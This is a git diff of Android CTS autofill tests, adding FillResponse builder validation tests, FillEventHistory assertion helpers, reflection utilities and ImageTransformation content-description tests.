+    private final FillResponse.Builder mBuilder = new FillResponse.Builder();
+    private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
+    private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
+    private final Bundle mClientState = new Bundle();
+    private final Dataset mDataset = new Dataset.Builder()
+            .setValue(mAutofillId, AutofillValue.forText("forty-two"))
+            .build();
+    private final long mDisableDuration = 666;
+    @Mock private RemoteViews mPresentation;
+    @Mock private RemoteViews mHeader;
+    @Mock private RemoteViews mFooter;
+    @Mock private IntentSender mIntentSender;
+
+    @Test
+    public void testBuilder_setAuthentication_invalid() {
+        // null ids
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(null, mIntentSender, mPresentation));
+        // empty ids
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(new AutofillId[] {}, mIntentSender,
+                        mPresentation));
+        // null intent sender
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(mIds, null, mPresentation));
+        // null presentation
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, null));
+    }
+
+    @Test
+    public void testBuilder_setAuthentication_valid() {
+        new FillResponse.Builder().setAuthentication(mIds, null, null);
+        new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+    }
+
+    @Test
+    public void testBuilder_setAuthentication_illegalState() {
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setHeader(mHeader).setAuthentication(mIds,
+                        mIntentSender, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setFooter(mFooter).setAuthentication(mIds,
+                        mIntentSender, mPresentation));
+    }
+
+    @Test
+    public void testBuilder_setHeaderOrFooterInvalid() {
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setHeader(null));
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setFooter(null));
+    }
+
+    @Test
+    public void testBuilder_setHeaderOrFooterAfterAuthentication() {
+        FillResponse.Builder builder =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder.setHeader(mHeader));
+        assertThrows(IllegalStateException.class, () -> builder.setHeader(mFooter));
+    }
+
+    @Test
+    public void testBuilder_setFlag_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
+    }
+
+    @Test
+    public void testBuilder_setFlag_valid() {
+        mBuilder.setFlags(0);
+        mBuilder.setFlags(FLAG_TRACK_CONTEXT_COMMITED);
+        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY);
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(0));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(-1));
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_valid() {
+        mBuilder.disableAutofill(mDisableDuration);
+        mBuilder.disableAutofill(Long.MAX_VALUE);
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_mustBeTheOnlyMethodCalled() {
+        // No method can be called after disableAutofill()
+        mBuilder.disableAutofill(mDisableDuration);
+        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(mDataset));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setFieldClassificationIds(mAutofillId));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setClientState(mClientState));
+
+        // And vice-versa...
+        final FillResponse.Builder builder1 = new FillResponse.Builder().setSaveInfo(mSaveInfo);
+        assertThrows(IllegalStateException.class, () -> builder1.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder2 = new FillResponse.Builder().addDataset(mDataset);
+        assertThrows(IllegalStateException.class, () -> builder2.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder3 =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder4 =
+                new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
+        assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder5 =
+                new FillResponse.Builder().setClientState(mClientState);
+        assertThrows(IllegalStateException.class, () -> builder5.disableAutofill(mDisableDuration));
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_invalid() {
+        assertThrows(NullPointerException.class,
+                () -> mBuilder.setFieldClassificationIds((AutofillId) null));
+        assertThrows(NullPointerException.class,
+                () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
+        final AutofillId[] oneTooMany =
+                new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
+        for (int i = 0; i < oneTooMany.length; i++) {
+            oneTooMany[i] = new AutofillId(i);
+        }
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setFieldClassificationIds(oneTooMany));
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_valid() {
+        mBuilder.setFieldClassificationIds(mAutofillId);
+    }
+
+    @Test
+    public void testBuild_invalid() {
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+    }
+
+    @Test
+    public void testBuild_valid() {
+        // authentication only
+        assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
+                .build()).isNotNull();
+        // save info only
+        assertThat(new FillResponse.Builder().setSaveInfo(mSaveInfo).build()).isNotNull();
+        // dataset only
+        assertThat(new FillResponse.Builder().addDataset(mDataset).build()).isNotNull();
+        // disable autofill only
+        assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
+                .isNotNull();
+        // fill detection only
+        assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
+                .isNotNull();
+        // client state only
+        assertThat(new FillResponse.Builder().setClientState(mClientState).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testBuilder_build_headerOrFooterWithoutDatasets() {
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setHeader(mHeader).build());
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setFooter(mFooter).build());
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
+                .isNotNull();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build());
+        assertThrows(IllegalStateException.class, () -> mBuilder.setIgnoredIds(mIds));
+        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(null));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setFieldClassificationIds(mAutofillId));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
index 33321c7..29af4a2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
@@ -83,7 +83,7 @@
         getSystemService(AutofillManager.class).cancel();
     }
 
-    private EditText getCell(int row, int column) {
+    EditText getCell(int row, int column) {
         return mCells[row - 1][column - 1];
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index c1a70f0..008e10c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -20,6 +20,11 @@
 import static android.autofillservice.cts.UiBot.PORTRAIT;
 import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
 import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
+import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -30,7 +35,11 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.icu.util.Calendar;
+import android.os.Bundle;
+import android.service.autofill.FieldClassification;
+import android.service.autofill.FieldClassification.Match;
 import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
 import android.support.annotation.NonNull;
 import android.support.annotation.Nullable;
 import android.support.test.InstrumentationRegistry;
@@ -45,7 +54,10 @@
 
 import com.android.compatibility.common.util.SystemUtil;
 
+import java.lang.reflect.Field;
 import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
 import java.util.function.Function;
 
 /**
@@ -63,6 +75,15 @@
     static final String ID_PASSWORD = "password";
     static final String ID_LOGIN = "login";
     static final String ID_OUTPUT = "output";
+    static final String ID_STATIC_TEXT = "static_text";
+
+    public static final String NULL_DATASET_ID = null;
+
+    /**
+     * Can be used in cases where the autofill values is required by irrelevant (like adding a
+     * value to an authenticated dataset).
+     */
+    public static final String UNUSED_AUTOFILL_VALUE = null;
 
     private static final String CMD_LIST_SESSIONS = "cmd autofill list sessions";
 
@@ -97,6 +118,16 @@
     static final int UI_TIMEOUT_MS = 2000;
 
     /**
+     * Timeout (in milliseconds) for showing the autofill dataset picker UI.
+     *
+     * <p>The value is usually higher than {@link #UI_TIMEOUT_MS} because the performance of the
+     * dataset picker UI can be affect by external factors in some low-level devices.
+     *
+     * <p>Typically used by {@link UiBot}.
+     */
+    static final int UI_DATASET_PICKER_TIMEOUT_MS = 4000;
+
+    /**
      * Timeout (in milliseconds) for an activity to be brought out to top.
      */
     static final int ACTIVITY_RESURRECTION_MS = 5000;
@@ -133,21 +164,20 @@
         return id.equals(getHtmlName(node));
     };
 
+    private static final NodeFilter HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
+        return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
+    };
+
     private static final NodeFilter TEXT_FILTER = (node, id) -> {
         return id.equals(node.getText());
     };
 
-    private static final NodeFilter WEBVIEW_ROOT_FILTER = (node, id) -> {
-        // TODO(b/66953802): class name should be android.webkit.WebView, and form name should be
-        // inside HtmlInfo, but Chromium 61 does not implement that.
+    private static final NodeFilter WEBVIEW_FORM_FILTER = (node, id) -> {
         final String className = node.getClassName();
-        final String formName;
-        if (className.equals("android.webkit.WebView")) {
-            final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
-            formName = getAttributeValue(htmlInfo, "name");
-        } else {
-            formName = className;
-        }
+        if (!className.equals("android.webkit.WebView")) return false;
+
+        final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+        final String formName = getAttributeValue(htmlInfo, "name");
         return id.equals(formName);
     };
 
@@ -390,6 +420,14 @@
     }
 
     /**
+     * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
+     * not found.
+     */
+    static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
+        return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
+    }
+
+    /**
      * Gets the {@code name} attribute of a node representing an HTML input tag.
      */
     @Nullable
@@ -448,7 +486,6 @@
 
     /**
      * Asserts the contents of a text-based node that is also auto-fillable.
-     *
      */
     static void assertTextOnly(ViewNode node, String expectedValue) {
         assertText(node, expectedValue, false);
@@ -456,7 +493,6 @@
 
     /**
      * Asserts the contents of a text-based node that is also auto-fillable.
-     *
      */
     static void assertTextAndValue(ViewNode node, String expectedValue) {
         assertText(node, expectedValue, true);
@@ -483,15 +519,16 @@
     }
 
     private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
-        assertWithMessage("wrong text on %s", node).that(node.getText().toString())
+        assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
                 .isEqualTo(expectedValue);
         final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
         if (isAutofillable) {
-            assertWithMessage("null auto-fill value on %s", node).that(value).isNotNull();
-            assertWithMessage("wrong auto-fill value on %s", node)
+            assertWithMessage("null auto-fill value on %s", id).that(value).isNotNull();
+            assertWithMessage("wrong auto-fill value on %s", id)
                     .that(value.getTextValue().toString()).isEqualTo(expectedValue);
         } else {
-            assertWithMessage("node %s should not have AutofillValue", node).that(value).isNull();
+            assertWithMessage("node %s should not have AutofillValue", id).that(value).isNull();
         }
     }
 
@@ -500,9 +537,10 @@
      */
     static ViewNode assertTextValue(ViewNode node, String expectedText) {
         final AutofillValue value = node.getAutofillValue();
-        assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", node).that(value.isText()).isTrue();
-        assertWithMessage("wrong autofill value on %s", node).that(value.getTextValue().toString())
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isText()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getTextValue().toString())
                 .isEqualTo(expectedText);
         return node;
     }
@@ -512,9 +550,10 @@
      */
     static ViewNode assertListValue(ViewNode node, int expectedIndex) {
         final AutofillValue value = node.getAutofillValue();
-        assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", node).that(value.isList()).isTrue();
-        assertWithMessage("wrong autofill value on %s", node).that(value.getListValue())
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isList()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getListValue())
                 .isEqualTo(expectedIndex);
         return node;
     }
@@ -524,9 +563,10 @@
      */
     static void assertToggleValue(ViewNode node, boolean expectedToggle) {
         final AutofillValue value = node.getAutofillValue();
-        assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", node).that(value.isToggle()).isTrue();
-        assertWithMessage("wrong autofill value on %s", node).that(value.getToggleValue())
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isToggle()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getToggleValue())
                 .isEqualTo(expectedToggle);
     }
 
@@ -855,6 +895,50 @@
         return InstrumentationRegistry.getInstrumentation().getContext();
     }
 
+    private static Field getField(Class<?> clazz, String fieldName) {
+        final Field[] fields = clazz.getDeclaredFields();
+        final StringBuilder fieldNames = new StringBuilder();
+        for (Field field : fields) {
+            fieldNames.append(field.getName()).append(" ");
+            field.setAccessible(true);
+            if (field.getName().equals(fieldName)) {
+                return field;
+            }
+        }
+        throw new IllegalArgumentException(
+                "no field " + fieldName + " on " + clazz.getName() + ": " + fieldNames);
+    }
+
+    /**
+     * Uses reflection to get a field from an object.
+     */
+    static <T> T getField(Object object, String fieldName) {
+        try {
+            final Class<?> clazz = object.getClass();
+            final Field field = getField(clazz, fieldName);
+            @SuppressWarnings("unchecked")
+            final T value = (T) field.get(object);
+            return value;
+        } catch (Exception e) {
+            throw new IllegalArgumentException(
+                    "error getting field " + fieldName + " from object" + object, e);
+        }
+    }
+
+    /**
+     * Uses reflection to set a field in an object.
+     */
+    static void setField(Object object, String fieldName, Object value) {
+        try {
+            final Class<?> clazz = object.getClass();
+            final Field field = getField(clazz, fieldName);
+            field.set(object, value);
+        } catch (Exception e) {
+            throw new IllegalArgumentException("error setting field " + fieldName + " on object "
+                    + object, e);
+        }
+    }
+
     /**
      * Cleans up the autofill state; should be called before pretty much any test.
      */
@@ -907,15 +991,212 @@
     /**
      * Finds a {@link WebView} node given its expected form name.
      */
-    public static ViewNode findWebViewNode(AssistStructure structure, String formName) {
-        return findNodeByFilter(structure, formName, WEBVIEW_ROOT_FILTER);
+    public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
+        return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
+    }
+
+    private static void assertClientState(Object container, Bundle clientState,
+            String key, String value) {
+        assertWithMessage("'%s' should have client state", container)
+            .that(clientState).isNotNull();
+        assertWithMessage("Wrong number of client state extras on '%s'", container)
+            .that(clientState.keySet().size()).isEqualTo(1);
+        assertWithMessage("Wrong value for client state key (%s) on '%s'", key, container)
+            .that(clientState.getString(key)).isEqualTo(value);
     }
 
     /**
-     * Finds a {@link WebView} node given its expected form name.
+     * Asserts the content of a {@link FillEventHistory#getClientState()}.
+     *
+     * @param history event to be asserted
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
      */
-    public static ViewNode findWebViewNode(ViewNode node, String formName) {
-        return findNodeByFilter(node, formName, WEBVIEW_ROOT_FILTER);
+    @SuppressWarnings("javadoc")
+    public static void assertDeprecatedClientState(@NonNull FillEventHistory history,
+            @NonNull String key, @NonNull String value) {
+        assertThat(history).isNotNull();
+        @SuppressWarnings("deprecation")
+        final Bundle clientState = history.getClientState();
+        assertClientState(history, clientState, key, value);
+    }
+
+    /**
+     * Asserts the {@link FillEventHistory#getClientState()} is not set.
+     *
+     * @param history event to be asserted
+     */
+    @SuppressWarnings("javadoc")
+    public static void assertNoDeprecatedClientState(@NonNull FillEventHistory history) {
+        assertThat(history).isNotNull();
+        @SuppressWarnings("deprecation")
+        final Bundle clientState = history.getClientState();
+        assertWithMessage("History '%s' should not have client state", history)
+             .that(clientState).isNull();
+    }
+
+    /**
+     * Asserts the content of a {@link android.service.autofill.FillEventHistory.Event}.
+     *
+     * @param event event to be asserted
+     * @param eventType expected type
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle (or {@code null} if it shouldn't
+     * have client state)
+     * @param value the only value expected in the client state bundle (or {@code null} if it
+     * shouldn't have client state)
+     */
+    // TODO(b/67867469): document detected args
+    private static void assertFillEvent(@NonNull FillEventHistory.Event event,
+            int eventType, @Nullable String datasetId,
+            @Nullable String key, @Nullable String value,
+            @Nullable AutofillId[] detectedAutofillIds, @Nullable String[] detectedRemoteIds,
+            @Nullable int[] detectedScores) {
+        assertThat(event).isNotNull();
+        assertWithMessage("Wrong type for %s", event).that(event.getType()).isEqualTo(eventType);
+        if (datasetId == null) {
+            assertWithMessage("Event %s should not have dataset id", event)
+                .that(event.getDatasetId()).isNull();
+        } else {
+            assertWithMessage("Wrong dataset id for %s", event)
+                .that(event.getDatasetId()).isEqualTo(datasetId);
+        }
+        final Bundle clientState = event.getClientState();
+        if (key == null) {
+            assertWithMessage("Event '%s' should not have client state", event)
+                .that(clientState).isNull();
+        } else {
+            assertClientState(event, clientState, key, value);
+        }
+        assertWithMessage("Event '%s' should not have selected datasets", event)
+                .that(event.getSelectedDatasetIds()).isEmpty();
+        assertWithMessage("Event '%s' should not have ignored datasets", event)
+                .that(event.getIgnoredDatasetIds()).isEmpty();
+        assertWithMessage("Event '%s' should not have changed fields", event)
+                .that(event.getChangedFields()).isEmpty();
+        assertWithMessage("Event '%s' should not have manually-entered fields", event)
+                .that(event.getManuallyEnteredField()).isEmpty();
+        final Map<AutofillId, FieldClassification> detectedFields = event.getFieldsClassification();
+        if (detectedAutofillIds == null) {
+            assertThat(detectedFields).isEmpty();
+        } else {
+            assertThat(detectedFields).hasSize(detectedAutofillIds.length);
+            int i = 0;
+            for (Entry<AutofillId, FieldClassification> entry : detectedFields.entrySet()) {
+                assertWithMessage("Wrong field id at %s", i).that(entry.getKey())
+                        .isEqualTo(detectedAutofillIds[i]);
+                final Match topMatch = entry.getValue().getTopMatch();
+                assertWithMessage("Wrong remote id at %s", i).that(topMatch.getRemoteId())
+                        .isEqualTo(detectedRemoteIds[i]);
+                assertWithMessage("Wrong score at %s", i).that(topMatch.getScore())
+                        .isEqualTo(detectedScores[i]);
+                i++;
+            }
+        }
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     */
+    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId) {
+        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, null, null, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @Nullable String key, @Nullable String value) {
+        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, key, value, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+            @NonNull String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     */
+    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+            @NonNull String datasetId) {
+        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
+     * event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetAuthenticationSelected(
+            @NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null,
+                null, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_AUTHENTICATION_SELECTED} event.
+     *
+     * @param event event to be asserted
+     * @param datasetId dataset set id expected in the event
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForAuthenticationSelected(
+            @NonNull FillEventHistory.Event event,
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null, null,
+                null);
+    }
+
+    // TODO(b/67867469): document
+    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
+            @NonNull AutofillId fieldId, @NonNull String remoteId, int score) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null,
+                new AutofillId[] { fieldId }, new String[] { remoteId }, new int[] { score });
+    }
+
+    // TODO(b/67867469): document
+    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
+            @NonNull AutofillId[] fieldIds, @NonNull String[] remoteIds, @NonNull int[] scores) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, fieldIds, remoteIds,
+                scores);
+    }
+
+    // TODO(b/67867469): document
+    public static void assertFillEventForContextCommitted(@NonNull FillEventHistory.Event event) {
+        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, null, null, null);
     }
 
     private Helper() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
index 01878ab..66e857b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
@@ -21,5 +21,6 @@
  */
 enum IdMode {
     RESOURCE_ID,
-    HTML_NAME
+    HTML_NAME,
+    HTML_NAME_OR_RESOURCE_ID
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
index e96df05..935be23 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
@@ -39,30 +39,35 @@
 public class ImageTransformationTest {
 
     @Test
+    @SuppressWarnings("deprecation")
     public void testAllNullBuilder() {
         assertThrows(NullPointerException.class,
                 () ->  new ImageTransformation.Builder(null, null, 0));
     }
 
     @Test
+    @SuppressWarnings("deprecation")
     public void testNullAutofillIdBuilder() {
         assertThrows(NullPointerException.class,
                 () ->  new ImageTransformation.Builder(null, Pattern.compile(""), 1));
     }
 
     @Test
+    @SuppressWarnings("deprecation")
     public void testNullRegexBuilder() {
         assertThrows(NullPointerException.class,
                 () ->  new ImageTransformation.Builder(new AutofillId(1), null, 1));
     }
 
     @Test
+    @SuppressWarnings("deprecation")
     public void testNullSubstBuilder() {
         assertThrows(IllegalArgumentException.class,
                 () ->  new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
     }
 
     @Test
+    @SuppressWarnings("deprecation")
     public void fieldCannotBeFound() throws Exception {
         AutofillId unknownId = new AutofillId(42);
 
@@ -82,6 +87,7 @@
     }
 
     @Test
+    @SuppressWarnings("deprecation")
     public void theOneOptionsMatches() throws Exception {
         AutofillId id = new AutofillId(1);
         ImageTransformation trans = new ImageTransformation
@@ -99,6 +105,25 @@
     }
 
     @Test
+    public void theOneOptionsMatchesWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*"), 42, "Are you content?")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 42);
+        verify(template).setContentDescription(0, "Are you content?");
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
     public void noOptionsMatches() throws Exception {
         AutofillId id = new AutofillId(1);
         ImageTransformation trans = new ImageTransformation
@@ -116,6 +141,7 @@
     }
 
     @Test
+    @SuppressWarnings("deprecation")
     public void multipleOptionsOneMatches() throws Exception {
         AutofillId id = new AutofillId(1);
         ImageTransformation trans = new ImageTransformation
@@ -134,6 +160,26 @@
     }
 
     @Test
+    public void multipleOptionsOneMatchesWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*1"), 1, "Are you content?")
+                .addOption(Pattern.compile(".*2"), 2, "I am content")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 2);
+        verify(template).setContentDescription(0, "I am content");
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
     public void twoOptionsMatch() throws Exception {
         AutofillId id = new AutofillId(1);
         ImageTransformation trans = new ImageTransformation
@@ -151,4 +197,24 @@
         // If two options match, the first one is picked
         verify(template, only()).setImageViewResource(0, 1);
     }
+
+    @Test
+    public void twoOptionsMatchWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*a.*"), 1, "Are you content?")
+                .addOption(Pattern.compile(".*b.*"), 2, "No, I'm not")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("ab");
+
+        trans.apply(finder, template, 0);
+
+        // If two options match, the first one is picked
+        verify(template).setImageViewResource(0, 1);
+        verify(template).setContentDescription(0, "Are you content?");
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index 2c234cd..331bac2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -30,6 +30,7 @@
 import android.app.assist.AssistStructure;
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.content.ComponentName;
+import android.content.IntentSender;
 import android.os.Bundle;
 import android.os.CancellationSignal;
 import android.service.autofill.AutofillService;
@@ -78,7 +79,7 @@
         sInstance.set(this);
     }
 
-    public static AutofillService peekInstance() {
+    public static InstrumentedAutoFillService peekInstance() {
         return sInstance.get();
     }
 
@@ -104,7 +105,7 @@
                 return;
             }
         }
